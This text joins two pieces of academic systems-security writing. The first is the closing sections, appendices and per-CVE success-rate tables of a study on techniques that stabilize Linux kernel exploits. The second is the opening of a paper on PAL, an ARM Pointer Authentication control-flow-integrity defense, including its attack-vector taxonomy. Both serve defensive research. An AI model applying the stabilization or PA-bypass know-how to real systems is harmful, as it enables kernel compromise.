how to use exploit stabilization techniques and under what
conditions the stabilization techniques could work. Through a
comprehensive, systematic study, this research work analyzes
existing stabilization techniques thoroughly and identifies
the working condition of each exploit stabilization technique.
We show that the discovery from our study could help expe-
rienced security researchers better understand stabilization
techniques. In addition to the study, this research also pro-
poses a new technique to improve exploit reliability. We show
that by combining the new technique with existing stabiliza-
tion techniques, we can craft exploits demonstrating much
higher reliability than those crafted by security researchers.
With this discovery in hand, we safely conclude that adopting
exploit stabilization techniques correctly could significantly
improve an exploit’s reliability and thus benefit the accuracy
of exploitability assessment.
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Appendix-A: Detail of Experiment Setup

Here, we present more details about our experiment setup.
Dataset. To obtain data, namely vulnerabilities and exploits, we
exhaustively search for them online for our experiment. We collect
public exploits from different sources, including exploit writeups
from organizations [3, 7, 13], individuals [2, 5, 12, 31], and released
repositories of previous research works [21, 22, 42, 43] focusing on
Linux kernel exploitation. Next, we screen the vulnerabilities and
exploits with the following criteria for the dataset: ¶ The public ex-
ploits demonstrate the potential of obtaining control flow hijacking
primitive, which indicates successful exploitation. · The vulnera-
bilities can be backported to v4.15 kernel, and their corresponding
exploits still preserve the potential of obtaining control flow hijack-
ing primitive on the new kernel after minor fixes. This rules out
reliability differences introduced by different kernel versions. ¸ The
vulnerabilities do not rely on special hardware devices or emulators
to trigger for the ease of experiment. Following the selection criteria
above and finish incomplete exploits by ourselves, we form a dataset
containing 17 Linux kernel vulnerabilities and their corresponding
public exploits.
Exploit variants. Based on the public exploits, we construct ex-
ploits used for our experiment by following the steps below. First,
we build baseline exploits by stripping away stabilization techniques
already implemented in the public exploits. In this process, we do
not find new stabilization techniques in public exploits that is not re-
ported by the interview participants. Second, we craft exploit variants
by adding individual stabilization technique into the corresponding
baseline exploit. In this process, we follow the implementation sug-
gestions gathered from the participants. It ensures that each exploit
variant encloses only one stabilization technique in the way where
security researchers usually follow.

During exploit variants construction, we keep the modifications
on baseline exploits to the minimum in order to avoid unexpected
impacts on reliability caused by exploit structure change. As is men-
tioned in Section 5.1, we eventually obtain 102 exploits for our
evaluation. Note that we skip the construction of exploit variants if
the technique cannot be implemented in the corresponding vulnera-
bility. For example, heap spray cannot be applied to CVE-2016-6187
because the exploit aims to corrupt adjacent freelist metadata, and
heap spray eliminates the attacking surface.
VM vs. bare-metal machine. As is mentioned in Section 5.1,
we run each exploit on a VM. Admitted that the success rate of
each exploit we obtain from VMs may be different from that on
bare-metal machines, we argue that the change of reliability (e.g.,
improvement or degradation) of stabilization techniques is consistent.
Therefore, by observing the results from VMs, we can safely draw
conclusions.

Appendix-B: More Experiment Results

Table 3 shows our experiment result obtained in the configuration of
2 CPUs and 2 GB RAM. As is mentioned in Section 5.1, we varied
our configuration. Table 7, 8, and 9 illustrate our experiment results
observed in other configurations.
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1. Which of the following techniques have you adopted to stabilize your exploits – (A) Defragmentation, (B) Heap Grooming,
(C) Single-Thread Heap Spray, (D) Multi-Process Heap Spray, (E) CPU Pinning?

2. If you’ve never heard about the stabilization techniques above, please report them to us.
3. if you’ve heard about the stabilization techniques above but have no clue how to use them to improve exploit reliability,

please report them to us as well.
4. What other approaches have you ever used to make your Linux kernel exploit reliable?
5. Why do you think the techniques you’ve used could work for stabilizing exploits?
6. In what conditions, the stabilization techniques you are familiar with are effective? (e.g., in lightweight or heavy workload)
7. Do the stabilization techniques familiar to you work only for specific types of vulnerabilities? If so, please specify which

technique and for what type of vulnerabilities?
8. Comparing the defragmentation technique with heap grooming technique, which one is more potent in terms of improving

exploit reliability?
9. How do you implement your exploitation stabilization techniques?

10. Among all the techniques you mentioned, which one do you think is the most effective?
11. Have you ever discovered that when you apply an exploitation stabilization technique for a vulnerability, the exploit

reliability is not improved but jeopardized? Have you tried to debug it? What is the reason behind this discovery?

Figure 2: Open questions used in our interview.

Type CVE Baseline Defragmentation Heap Single-Thread Multi-Process CPU PinningGrooming Heap Spray Heap Spray

In Idle State
OOB 2017-7533 24.72% 52.42% [+] N/A 99.36% [+] 99.62% [+] 36.42% [+]
OOB 2017-7184 30.72% 99.78% [+] 100.00% [+] 46.74% [+] 96.96% [+] 64.12% [+]
OOB 2016-6187 51.86% 99.88% [+] N/A N/A N/A 67.94% [+]
OOB 2010-2959 15.48% 99.88% [+] 99.96% [+] 65.22% [+] 66.26% [+] 21.52% [+]
OOB 2017-7308 0.02% 0.00% [−] N/A 0.00% [−] 4.64% [+] 0.04% [+]
UAF 2018-6555 96.52% 82.24% [−] N/A 100.00% [+] 100.00%[+] 98.56% [+]
UAF 2016-8655 97.18% 96.08% [−] N/A 99.74% [+] 99.80% [+] 99.56% [+]
UAF 2017-15649 17.00% 17.98% [+] N/A 73.56% [+] 99.86% [+] 99.98% [+]
UAF 2016-4557 99.76% 97.94% [−] N/A 100.00%[+] 99.98%[+] 99.80% [+]
UAF 2017-8824 97.96% 0.04% [−] N/A 97.46% [−] 99.24% [+] 99.98% [+]
UAF 2016-0728 1.74% 2.32% [+] N/A 82.20% [+] 100.00% [+] 2.68% [+]
UAF 2017-10661 18.80% 20.00% [+] N/A 35.38% [+] 80.86% [+] 73.66% [+]
UAF 2016-10150 0.00% 0.00% [=] N/A 0.00% [=] 99.64% [+] 99.98% [+]
UAF 2017-11176 96.08% 7.36% [−] N/A 99.96% [+] 99.10% [+] 88.70% [−]
DF 2017-2636 99.42% 14.04% [−] N/A 99.86% [+] 99.72% [+] 99.70% [+]
DF 2017-6074 99.98% 95.14% [−] N/A 99.86% [−] 94.74% [−] 99.88% [−]
DF 2017-8890 56.44% 0.30% [−] N/A 58.52% [+] 75.66% [+] 76.98% [+]

In Busy State
OOB 2017-7533 5.56% 10.52% [+] N/A 71.58% [+] 97.74% [+] 13.14% [+]
OOB 2017-7184 9.78% 51.42% [+] 64.98% [+] 44.96% [+] 89.32% [+] 9.48% [−]
OOB 2016-6187 5.36% 53.78% [+] N/A N/A N/A 10.78% [+]
OOB 2010-2959 9.96% 47.54% [+] 32.84% [+] 36.04% [+] 65.72% [+] 19.06% [+]
OOB 2017-7308 0.00% 0.00% [=] N/A 0.00% [=] 0.12% [+] 0.00% [=]
UAF 2018-6555 72.44% 66.86% [−] N/A 86.10% [+] 99.24% [+] 80.70% [+]
UAF 2016-8655 0.20% 0.22% [+] N/A 33.56% [+] 99.76% [+] 4.64% [+]
UAF 2017-15649 10.32% 10.18% [−] N/A 38.50% [+] 99.82% [+] 99.72% [+]
UAF 2016-4557 51.82% 59.92% [+] N/A 97.48% [+] 99.84% [+] 60.14% [+]
UAF 2017-8824 85.66% 0.06% [−] N/A 86.56% [+] 98.46% [+] 100.00% [+]
UAF 2016-0728 0.04% 0.02% [−] N/A 24.06% [+] 99.98% [+] 0.02% [−]
UAF 2017-10661 0.04% 0.02% [−] N/A 4.12% [+] 69.80% [+] 0.76% [+]
UAF 2016-10150 48.12% 47.90% [−] N/A 43.70% [−] 49.30% [+] 97.88% [+]
UAF 2017-11176 1.90% 2.32% [+] N/A 41.52% [+] 94.24% [+] 3.72% [+]
DF 2017-2636 96.46% 24.38% [−] N/A 99.00% [+] 99.34% [+] 99.56% [+]
DF 2017-6074 74.00% 62.48% [−] N/A 75.40% [+] 93.04% [+] 78.22% [+]
DF 2017-8890 19.98% 1.24% [−] N/A 29.08% [+] 49.28% [+] 34.58% [+]

Table 7: Performance of stabilization techniques under the configuration of 4 CPUs and 2G memory.
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Type CVE Baseline Defragmentation Heap Single-Thread Multi-Process CPU PinningGrooming Heap Spray Heap Spray

In Idle State
OOB 2017-7533 20.58% 48.50% [+] N/A 98.40% [+] 99.60% [+] 31.42% [+]
OOB 2017-7184 32.74% 99.26% [+] 100.00% [+] 45.54% [+] 96.42% [+] 53.68% [+]
OOB 2016-6187 31.96% 99.46% [+] N/A N/A N/A 31.54% [−]
OOB 2010-2959 22.16% 99.66% [+] 99.88% [+] 56.10% [+] 58.68% [+] 21.50% [−]
OOB 2017-7308 0.08% 0.30% [+] N/A 0.00% [−] 4.68% [+] 0.10% [+]
UAF 2018-6555 89.82% 77.24% [−] N/A 99.72% [+] 100.00%[+] 93.78% [+]
UAF 2016-8655 96.42% 94.10% [−] N/A 99.44% [+] 99.80% [+] 99.18% [+]
UAF 2017-15649 13.72% 12.76% [−] N/A 58.62% [+] 99.88% [+] 99.60% [+]
UAF 2016-4557 99.26% 98.24% [−] N/A 100.00%[+] 99.98%[+] 99.36% [+]
UAF 2017-8824 97.76% 0.20% [−] N/A 98.24% [+] 98.82% [+] 98.88% [+]
UAF 2016-0728 1.98% 6.60% [+] N/A 77.58% [+] 100.00% [+] 3.44% [+]
UAF 2017-10661 33.80% 32.24% [−] N/A 51.24% [+] 82.18% [+] 71.48% [+]
UAF 2016-10150 1.10% 0.86% [−] N/A 1.56% [+] 99.72% [+] 99.48% [+]
UAF 2017-11176 92.66% 13.06% [−] N/A 99.90% [+] 99.92% [+] 97.34% [+]
DF 2017-2636 96.14% 21.72% [−] N/A 99.48% [+] 99.32% [+] 98.12% [+]
DF 2017-6074 98.76% 84.12% [−] N/A 99.00% [+] 91.88% [−] 98.54% [−]
DF 2017-8890 51.58% 0.70% [−] N/A 67.16% [+] 74.68% [+] 80.22% [+]

In Busy State
OOB 2017-7533 7.72% 23.80% [+] N/A 75.26% [+] 80.02% [+] 15.90% [+]
OOB 2017-7184 5.34% 27.56% [+] 53.88% [+] 35.26% [+] 72.72% [+] 7.50% [+]
OOB 2016-6187 2.30% 10.24% [+] N/A N/A N/A 5.26% [+]
OOB 2010-2959 5.30% 18.46% [+] 46.44% [+] 19.02% [+] 43.90% [+] 9.68% [+]
OOB 2017-7308 0.00% 0.00% [=] N/A 0.00% [=] 0.20% [+] 0.00% [=]
UAF 2018-6555 60.48% 61.72% [+] N/A 80.36% [+] 96.42% [+] 73.92% [+]
UAF 2016-8655 0.36% 0.42% [+] N/A 58.54% [+] 99.74% [+] 0.42% [+]
UAF 2017-15649 17.94% 16.82% [−] N/A 35.98% [+] 99.22% [+] 92.12% [+]
UAF 2016-4557 23.72% 14.06% [−] N/A 94.56% [+] 99.06% [+] 19.74% [−]
UAF 2017-8824 93.90% 0.38% [−] N/A 95.16% [+] 98.98% [+] 98.70% [+]
UAF 2016-0728 0.14% 0.18% [+] N/A 32.84% [+] 99.74% [+] 0.08% [−]
UAF 2017-10661 0.24% 0.26% [+] N/A 28.44% [+] 69.08% [+] 0.24% [=]
UAF 2016-10150 46.02% 46.94% [+] N/A 39.28% [−] 62.26% [+] 77.04% [+]
UAF 2017-11176 1.70% 1.58% [−] N/A 39.56% [+] 92.30% [+] 4.38% [+]
DF 2017-2636 92.98% 18.98% [−] N/A 97.74% [+] 99.18% [+] 97.86% [+]
DF 2017-6074 65.46% 50.04% [−] N/A 67.56% [+] 74.94% [+] 65.70% [+]
DF 2017-8890 6.16% 1.60% [−] N/A 20.26% [+] 44.74% [+] 9.50% [+]

Table 8: Performance of stabilization techniques under the configuration of 2 CPUs and 4G memory.

Type CVE Baseline Defragmentation Heap Single-Thread Multi-Process CPU PinningGrooming Heap Spray Heap Spray

In Idle State
OOB 2017-7533 22.60% 51.94% [+] N/A 99.49% [+] 99.49% [+] 38.54% [+]
OOB 2017-7184 32.49% 99.86% [+] 100.00% [+] 44.11% [+] 97.49% [+] 64.97% [+]
OOB 2016-6187 54.94% 99.69% [+] N/A N/A N/A 62.51% [+]
OOB 2010-2959 15.40% 99.89% [+] 99.94% [+] 64.63% [+] 64.80% [+] 20.71% [+]
OOB 2017-7308 0.03% 0.03% [=] N/A 0.00% [−] 4.69% [+] 0.11% [+]
UAF 2018-6555 96.71% 82.89% [−] N/A 99.97% [+] 100.00%[+] 98.51% [+]
UAF 2016-8655 97.26% 95.94% [−] N/A 99.80% [+] 99.74% [+] 99.54% [+]
UAF 2017-15649 15.69% 16.66% [+] N/A 73.31% [+] 99.89% [+] 100.00%[+]
UAF 2016-4557 99.71% 97.83% [−] N/A 100.00%[+] 100.00%[+] 99.77% [+]
UAF 2017-8824 97.89% 0.03% [−] N/A 97.77% [−] 99.26% [+] 100.00%[+]
UAF 2016-0728 1.71% 2.20% [+] N/A 82.80% [+] 99.97% [+] 2.49% [+]
UAF 2017-10661 18.83% 18.31% [−] N/A 35.20% [+] 76.43% [+] 72.89% [+]
UAF 2016-10150 0.00% 0.00% [=] N/A 0.00% [=] 99.49% [+] 100.00%[+]
UAF 2017-11176 91.89% 8.34% [−] N/A 99.97% [+] 99.17% [+] 96.46% [+]
DF 2017-2636 99.54% 12.80% [−] N/A 99.83% [+] 99.66% [+] 99.86% [+]
DF 2017-6074 99.86% 94.63% [−] N/A 99.94% [+] 94.31% [−] 99.94% [+]
DF 2017-8890 57.89% 0.26% [−] N/A 61.46% [+] 76.37% [+] 76.31% [+]

In Busy State
OOB 2017-7533 4.37% 10.34% [+] N/A 73.40% [+] 97.37% [+] 10.80% [+]
OOB 2017-7184 9.86% 51.94% [+] 65.89% [+] 44.66% [+] 89.26% [+] 8.37% [+]
OOB 2016-6187 4.54% 24.34% [+] N/A N/A N/A 12.37% [+]
OOB 2010-2959 10.69% 49.94% [+] 31.29% [+] 36.06% [+] 65.91% [+] 18.94% [+]
OOB 2017-7308 0.00% 0.00% [=] N/A 0.00% [=] 0.09% [+] 0.00% [=]
UAF 2018-6555 73.74% 67.40% [+] N/A 85.43% [+] 99.60% [+] 81.89% [+]
UAF 2016-8655 0.06% 0.14% [+] N/A 32.06% [+] 99.86% [+] 4.03% [+]
UAF 2017-15649 9.66% 10.83% [−] N/A 38.80% [+] 99.80% [+] 99.40% [+]
UAF 2016-4557 49.63% 45.11% [−] N/A 97.20% [+] 99.77% [+] 59.31% [−]
UAF 2017-8824 86.91% 0.06% [−] N/A 86.94% [+] 99.46% [+] 99.94% [+]
UAF 2016-0728 0.17% 0.00% [+] N/A 24.23% [+] 100.00% [+] 0.06% [−]
UAF 2017-10661 0.03% 0.09% [+] N/A 3.74% [+] 69.20% [+] 0.80% [=]
UAF 2016-10150 48.11% 47.17% [+] N/A 45.83% [−] 48.40% [+] 97.20% [+]
UAF 2017-11176 1.71% 1.91% [−] N/A 35.34% [+] 92.94% [+] 22.40% [+]
DF 2017-2636 93.69% 23.60% [−] N/A 97.89% [+] 99.43% [+] 99.63% [+]
DF 2017-6074 74.49% 63.91% [−] N/A 74.91% [+] 93.11% [+] 77.34% [+]
DF 2017-8890 19.57% 1.40% [−] N/A 32.57% [+] 51.54% [+] 34.77% [+]

Table 9: Performance of stabilization techniques under the configuration of 4 CPUs and 4G memory.
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Abstract
This paper presents an in-kernel, hardware-based control-flow
integrity (CFI) protection, called PAL, that utilizes ARM’s
Pointer Authentication (PA). It provides three important ben-
efits over commercial, state-of-the-art PA-based CFIs like
iOS’s: 1) enhancing CFI precision via automated refinement
techniques, 2) addressing hindsight problems of PA for in-
kernel uses such as preemptive hijacking and brute-forcing
attacks, and 3) assuring the algorithmic or implementation
correctness via post validation.

PAL achieves these goals in an OS-agnostic manner, so
could be applied to commodity OSes like Linux and FreeBSD.
The precision of the CFI protection can be adjusted for better
performance or improved for better security with minimal en-
gineering efforts. Our evaluation shows that PAL incurs neg-
ligible performance overhead: e.g., <1% overhead for Apache
benchmark and 3–5% overhead for Linux perf benchmark on
the latest Mac mini (M1). Our post-validation approach helps
us ensure the security invariant required for the safe uses of
PA inside the kernel, which also reveals new attack vectors
on the iOS kernel. PAL as well as the CFI-protected kernels
will be open sourced.

1 Introduction

Memory safety issues are the foremost security problems
in today’s operating systems—in 2020 alone, there were 149
memory safety CVEs assigned to potentially exploitable bugs
in Linux [21]. To prevent latent bugs from exploitation, com-
modity OS vendors have been developing and deploying mod-
ern mitigation techniques such as KASLR, DEP, and SMA/EP
(PXN). However, more powerful exploitation techniques, such
as return- and jump-oriented programming [14,60], have been
developed and demonstrated that such migration schemes can
be ultimately bypassed [35]. As a response, control-flow in-
tegrity (CFI) [7, 16], which enforces a program’s control tran-
sition (e.g., an indirect call or a return) to strictly follow the
known control graph curated at compilation time, has been
considered as a promising, necessary direction to mitigate
these emerging exploitation techniques. Accordingly, mod-

‡ The authors contributed equally.

ern operating systems like Android, Windows, and iOS all
implement some forms of CFI [8, 55, 67, 68].

During the last several years, there has been exhaustive
research exploration of CFI’s design space [16], which falls
broadly into two categories: 1 enhancing the precision of
CFI (i.e., reducing the number of targets that an indirect call
can take); and 2 making CFI protection faster and practical
(i.e., incurring minimum CPU and memory overheads). The
community has improved CFI precision by providing better
algorithmic advances to model control-flow transitions accu-
rately [30,45], or by utilizing exact run-time contexts [27,31].
However, in practice, the performance overhead often de-
termines the feasibility of actual deployment—it would be
acceptable to prevent the most common cases with negligible
overhead rather than fully preventing all of them with obtru-
sive overhead. One recent approach taken by Apple [8] and
researchers [47, 72] is to speed up CFI by utilizing hardware-
based protection, called ARM Pointer Authentication (PA).

In this paper, we propose yet another in-kernel CFI protec-
tion based on PA, called PAL, which aims to enhance CFI
precision (see Table 2) in an automated manner while impos-
ing negligible performance overhead (see §6.3).

More specifically, we design a context analyzer (see §4.3)
that can capture common idioms and design patterns in com-
modity OSes (see §4.2) to enhance the CFI precision. For
example, the context analyzer can refine the indirect call tar-
gets based on the invariants of a kernel object or based on a
calling context of a kernel API. By using the context analyzer,
an OS developer can instrument the kernel code with minimal
manual involvement.

In addition, PAL introduces a static validator (see §4.5)
that can recognize common pitfalls and attack vectors of PA
on the final kernel image, unlike other PA-based schemes
placing their compiler and underlying algorithms as TCB.
Such separation of concerns helps us develop PA-based CFI
and refinement rules in a higher-level, early-stage IR (i.e.,
GIMPLE in the GCC) without dealing with the subtleties
of the back-end compiler optimizations. In other words, as
long as the static validator assures that a certain image has
no pitfall, we know that the final kernel image meets all the
invariants necessary for the secure enforcement of PAL’s CFI
at run-time. For example, we commonly see that a later-stage

USENIX Association 31st USENIX Security Symposium    89



optimization puts out even a PA-protected pointer located in
for-loop and stashes it into memory, which consequentially
disarms the PA-based mitigation. (see §3.1 and Google’s PoC
on iOS [11]).

PAL’s PA-based approach exhibits better CFI precision
than any other commercial solutions: e.g., compared with An-
droid’s CFI [68], the number of indirect calls having >100
targets reduces from 7.0% to 0.08%. Most importantly, to the
best of our knowledge, PAL is the first PA-based scheme that
has successfully evaluated performance on real PA-supported
hardware (Mac mini based on the M1 chip). Our evaluation
shows that PAL imposes negligible performance overhead on
user applications: <1% in the Apache benchmark, while incur-
ring 6.8% kernel-space overhead on average in the LMbench’s
benchmarks that had measurable overhead. (i.e., benchmarks
with over 1 µs overhead)

This paper makes the following contributions:
• New attack vectors. We provide a systematic catego-

rization of attack vectors under a precise yet powerful
definition of threat models when using ARM PA to pro-
tect the OS kernel.

• Automated refinement techniques. We implement a
context analyzer to capture idioms and design patterns
that enhance the precision of the CFI protection in au-
tomated yet OS-agnostic ways. We demonstrate our
context analyzer on two commodity OSes: Linux and
FreeBSD kernels.

• Static validator. We implement a static validator to au-
tomatically verify non-trivial security problems uninten-
tionally introduced by complex compiler optimizations
as well as implementation mistakes. It found new attack
vectors in the latest iOS kernel as well as bugs in other
PA-based schemes.

• Open source. We will make the end-to-end ecosystem
open source including compiler plugin, static validator,
the CFI-protected Linux and FreeBSD kernels, and con-
text analyzer.1

2 Background

2.1 Control-Flow Integrity (CFI)
As modern defense schemes like Data Execution Protection
(DEP) prevent code injection attacks, offensive techniques
like return- or jump-oriented programming (ROP/JOP) [14,
60] have been proposed to reuse existing code snippets for
exploitation, commonly known as code-reuse attacks. With
ROP and JOP techniques, an attacker can perform arbitrary
computation [60] by chaining existing code gadgets after hi-
jacking a program’s control flow (e.g., overwriting a function
pointer or a return address). Since the code gadgets end with a
return or a jump instruction that allows further chaining, they
are called return- or jump-oriented programming.

1 https://github.com/SamsungLabs/PALinux
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Figure 1: A PA code (PAC) is generated using QARMA64 [66]
block cipher with three inputs: a pointer, a context (public), and a
PA key (private). And the PA-signed pointer contains the PAC in the
prefix of the pointer that indicates its authenticity [12]. The signed
function pointer will be copied or moved around together with the
PAC, and checked its authenticity right before uses.

One promising mitigation to prevent such code-reuse at-
tacks is to ensure that the integrity of control-flow transfers
remains intact (i.e., making an intended transition) at run-time,
so-called control-flow integrity (CFI). The most common ap-
proach is to extract control-flow graphs (CFG) from the source
code during compilation and validate that all transitions are
legitimate at run-time (i.e., following an edge of the extracted
CFG). As a standard CFG is overly conservative—an indirect
jump instruction can lead to any location in a program’s mem-
ory, CFI often utilizes high-level structures from program-
ming languages. To limit indirect calls, there are different
strategies for identifying what is the set of functions that can
be involved at each call site: 1) each function’s entry [55],
2) a group of functions with the same types in C [65, 67], 3)
virtual functions in the class hierarchy in C++ [15, 67]. As
most transitions depend on the program’s execution state, dy-
namic approaches that attempt to associate the execution state
and transition are proposed, e.g., using inputs [57], shadow
execution/traces [27], and collecting control-sensitive infor-
mation [31]. The precision of these dynamic approaches, how-
ever, comes with non-trivial run-time overheads and hindering
deployment in practice.

Common CFI schemes mostly concern forward transitions
(i.e., an indirect call) while relying on backward transitions
(i.e., a function return) to be protected by other orthogonal
techniques such as a shadow stack [22, 37]. In PAL, we aim
to design an end-to-end solution that protects both forward
and backward edges.

2.2 Pointer Authentication
ARMv8.3-A introduced a new hardware-based security fea-
ture, called Pointer Authentication (PA), that can check the
integrity of a pointer with minimal performance (i.e., using
a faster block cipher) and storage overhead (i.e., using the
extended bits of a pointer). Simply put, a pointer is signed
(PAC) when generated and is authenticated (AUT) before its
use, similar in concept to tagged memory [62].
1 PAC signs a function pointer with a signing key and a
context as a nonce (see Figure 1). Since the ARM 64-bit
processor does not fully utilize the entire 64-bit address space
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(using 39-48 bits in Aarch64), the signed pointer can carry the
authentication code (PAC) as part of the pointer (25-16 bits in
the extension bits). This design decision simplifies the heavy
bookkeeping required to propagate the PAC for pointers—
now, a normal instruction like mov seamlessly propagates the
PAC of a pointer in a register without additional costs.

PA provides five registers for encryption keys that can only
be set in privilege mode: APIA and APIB for code pointers,
APDA and APDB for data pointers, and APGA for general-
purpose use, each of which is used to compute a cryptographic
hash (i.e., QARMA64 [66]) to generate a Message Authenti-
cation Code (MAC).
2 AUT authenticates the signed pointer and restores it to its
original form (i.e., discarding the PAC and restoring the ex-
tension bits) given the original key and context. If the authen-
tication succeeds, the restored function or data pointer is used
as intended by the following instructions. However, when the
authentication fails, AUT simply flips an error bit in the pointer
to indicate the corrupted state, and any later use of the pointer
raises an exception, as the restored function pointer does not
conform to the canonical form of the virtual address space.
Using context. PA’s context is a critical element to narrow
down the protection domain because all function pointers
signed by the same context can be used alternatively in an
indirect call (note, all signed by the same PA key as long as
PA key is not changed). There are two well-known choices
of contexts: a stack pointer (sp) as a context to sign a return
address (i.e., a backward CFI), and zero as a context to sign
all function addresses, which does not need to identify all call-
sites and their functions to be involved. More advanced uses,
like using a type signature as a context [47], also not requiring
to identify relations between all call-sites and functions, have
also recently been proposed, but our focus in this paper is to
refine the context by using dynamic information that can be
captured from design idioms in commodity OS kernels.
EnhancedPAC2 and FPAC. ARM recently announced two
new features, namely, EnhancedPAC2 and FPAC [53] to
address problems found by Google [11]. EnhancedPAC2
changes PAC bits to be larger by XOR-ing with the upper
bits of the pointer, helping PA to avoid brute-forcing attacks.
FPAC makes an aut instruction raise an exception immedi-
ately upon the authentication failure. With FPAC, PAL can
optimize the performance even further, but our current focus
is to be compatible with ARM v8.3-A, available on the con-
sumer market right now. Such optimization techniques based
on these hardware features can also be used to improve the
performance of PAL.

3 Overview
3.1 Threat Model
We assume an attacker has the capabilities of arbitrary reads
and writes at arbitrary moments, similar to other attack mod-
els assumed in several studies like PaX/RAP [65]. We also

assume that the victim has all modern defense mechanisms de-
ployed, namely, secure boot, stack protection, DEP, KASLR,
PXN, and page-table protections [9,10] to protect the kernel’s
non-writable regions from page-table modification attacks
such as KSMA [74]. It is worth noting that the capabilities of
arbitrary reads and writes do not mean that it is possible to
inject code so that existing code snippets should be reused for
attack. Lastly, we assume KASLR can be bypassed either by
inferring the layout of the kernel image [34, 38] or via com-
mon information leakage [71] otherwise an arbitrary write or
read is prevented in the first place.

In the kernel, arbitrary read/write capabilities implicate
more than just crafting memory; since an attacker can force all
registers to be spilled to memory via preemption, an attacker
can modify all values of the registers stored in memory (i.e.,
execution context). This model would be pessimistic, as real-
world vulnerabilities typically allow limited capabilities like
restricted overflow, but we believe this is the right way to
reason about the strong security guarantees of the defense
mechanisms in the kernel [65].

Control-flow hijacking. We assume the primary goal of an
attack is to hijack the control-flow of the kernel and then, lever-
age it to launch post-exploitation payloads such as obtaining
a root shell, exfiltrating information, installing a rootkit, etc.
With arbitrary memory reads/writes, this is not the only ap-
proach (e.g., data-oriented attack [33,63]), but still is the most
prevalent, reliable and stealthy form of powerful attacks [16].

Out-of-scope attacks. We do not consider side-channel at-
tacks such as micro-architectural [42, 50], timing [49, 73], or
electromagnetic side-channels [61], because they are mostly
limited to secrecy violation (i.e., information leak). Similarly,
hardware attacks such as Rowhammer [40] caused by faulty
DRAMs are not of our concern. All high-privilege compo-
nents like the hypervisor, firmware and hardware are our TCB
(Trusted Computing Base). We also do not consider any ad-
vanced forms of data-oriented attacks [33] but have a plan
to extend our approach to mitigate prevalent forms of data-
oriented attacks, similar to HDFI [63], by using PA.

Correctness assumption. We do not rely on the correctness
of complex compilation tool-chains that have sophisticated
optimization algorithms in their back-ends. Instead, we trust
a static post validator that directly analyzes the final kernel
image and ensures that the invariants required for the secure
uses of PA are correctly respected in the binary (see §4.5).

3.2 Attack Vectors against ARM PA
We categorize the fundamental limitations of ARM PA into
two classes, namely, pointer substitution attacks ( 1 , 2 , 3 )
and improper uses of the PA protection ( 1 , 2 ).

1 Replaying attack. A leaked, signed function pointer can
be legitimately reused in any indirect call with the same con-
text. This means an adversary having arbitrary read capability
can scan the entire kernel memory and collect outstanding

USENIX Association 31st USENIX Security Symposium    91



function pointers for the replaying attack. This fundamental
problem can be quantified by measuring the number of func-
tion pointers signed by the same context and the number of
indirect call sites authenticating pointers with the same con-
text (§6.1). To reduce the substitution targets, any PA-based
protections should minimize the uses of the same contexts.

2 Forging pointers via signing gadgets. Instead of pas-
sively scrubbing function pointers, an adversary can generate
a signed pointer with the context of his/her own choice for
the targeted indirect call. There are two prevalent situations:
1) an attacker hijacks a stored function pointer or the context
during the signing process and 2) an attacker provides an
arbitrary function pointer to a re-signing routine that ignores
authentication failures.

3 Brute-forcing attack. PA reserves a small number of bits
(e.g., 15 bits in the 48-bit address space) to embed a MAC
as a part of the pointer. Unfortunately, this is so small that an
attacker can identify the correct MAC by enumerating all the
input space if there exists a proper oracle. This problem is
particularly difficult to mitigate because the production kernel
cannot simply panic when an authentication failure happens,
whether that is a malicious attempt or not [69]. All the existing
PA-based protections suffer from this attack vector.

1 Key leakage and cross-EL attack. ARM [51] and Qual-
comm [66] specify PA’s behaviors only in the context of the
user space. To utilize PA for kernel protection, according to
these references, the PA keys should be multiplexed (or virtu-
alized) for both user and kernel spaces. However, under our
threat model, an adversary can sign any function pointers in
user space by using the same key and context as the kernel,
a so-called cross-EL attack. Any preventive measures that
keep track of PA keys in the kernel space should be cautious
about not storing the key to memory—our adversary with the
arbitrary read capability can obtain the PA key.

2 Time-of-check to time-of-use (TOCTOU). PA does not
guarantee the atomicity of its check and use, meaning that
there is a time window between two PA instructions. Two
problems can occur during this time window: 1) a raw pointer
is unintentionally spilled before a use mainly due to later-
stage compiler optimizations or machine-code generation,
and 2) an attacker enforces a preemption right before its use,
causing a raw pointer stored in the register to be spilled to an
attacker-controlled memory.

One naive solution is to disable an interrupt during this
time window but we observed an important drawback: it in-
creases the interrupt-disabled regions and will finally turn out
unacceptable due to performance fall-off. (e.g., a virtual call
in the VFS layer will disable the interrupt for the rest of exe-
cutions, which drops the concurrency of each file operation).
Any in-kernel PA defenses should prevent this attack vector
without introducing complexity and performance overheads.

Static validator
(§ 4.5)

 Compiler  (§ 4.1/2)
 instrumentation

 Kernel infra. (§ 4.4)

Context analyzer
(§ 4.3)

Kernel
code

If validated,

CFI
precision level

Annotated kernel code

Precision analysis report

PA-protected
kernel binary

(without validation)

If not validated,
Feedback (e.g., signing gadgets)

PA-protected
kernel binary

(with validation)

Manual
annotation
(Optional)

Figure 2: PAL’s workflow.

4 Design
Each component of PAL works as illustrated in Figure 2.
First, the context analyzer (§4.3) takes kernel code and the
desired CFI precision level (i.e., the number of the allowed
targets) as inputs, and returns 1) kernel code annotated with
the best run-time contexts to meet the given precision, and
2) a summary of the precision analysis that describes the
effectiveness of each PA context (see, Table 2) as outputs.
Besides that automatic annotation, developers can manually
add annotations based upon their needs. Second, the compiler
tool-chain (§4.1, §4.2) performs instrumentation according to
the given annotated code, and outputs a PAL-enabled but not
validated kernel binary. Third, static validator (§4.5) validates
that the kernel binary respects a set of security properties
for the safe uses of ARM PA, and informs developers if any
violation is detected. Developers are in charge of eliminating
such a violation by modifying either source code or a compiler
tool-chain. Lastly, PAL modifies the kernel infrastructure for
secure management of the protection scheme (§4.4).

4.1 Compiler Instrumentation
To protect the integrity of function pointers, PAL intervenes
at two life-cycle events of each function pointer: its generation
(GEN) and use (USE). Simply put, PAL signs a function pointer
at its generation and authenticates it right before use. Since
neither the compiler nor the PA hardware can track life-cycle
events(GEN and USE) of a pointer completely, the security claim
of PA-based solutions is largely dependent on the proper
selection of a PA context, which is bound to the pointer at GEN
and used for authentication before USE (see §4.2).

In this section, we first describe our design decisions rele-
vant to static analysis and instrumentation:
Life-cycle of function pointers. Function pointers in C are
generated (GEN) from a function designator [44]—an expres-
sion that has a function signature such as a function decla-
ration or casting. More specifically, PAL instruments three
places to insert an authentication code: variable initialization,
assign statements, and parameters for function calls. For each
function designator, PAL handles two kinds of scenarios: 1)
constant where the value is emitted as part of the instruction
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thus can be signed in place; and 2) immaterial where the
value will be determined at run-time (e.g., to support ASLR)
thus should be signed at loadtime. For type casting to a non-
